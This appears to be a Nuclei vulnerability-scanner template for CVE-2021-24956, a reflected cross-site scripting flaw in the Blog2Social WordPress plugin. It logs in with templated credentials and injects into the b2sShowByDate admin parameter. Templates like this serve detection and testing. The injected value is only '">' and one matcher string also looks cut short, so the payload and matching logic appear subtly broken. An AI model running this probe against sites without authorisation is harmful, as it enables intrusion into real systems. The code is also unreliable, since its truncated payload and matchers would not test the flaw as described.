id: CVE-2021-24956
info:
name: Blog2Social < 6.8.7 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
remediation: Fixed in version 6.8.7
reference:
- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
classification:
cve-id: CVE-2021-24956
metadata:
max-request: 2
verified: true
tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '" name='
- 'Your Activity'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200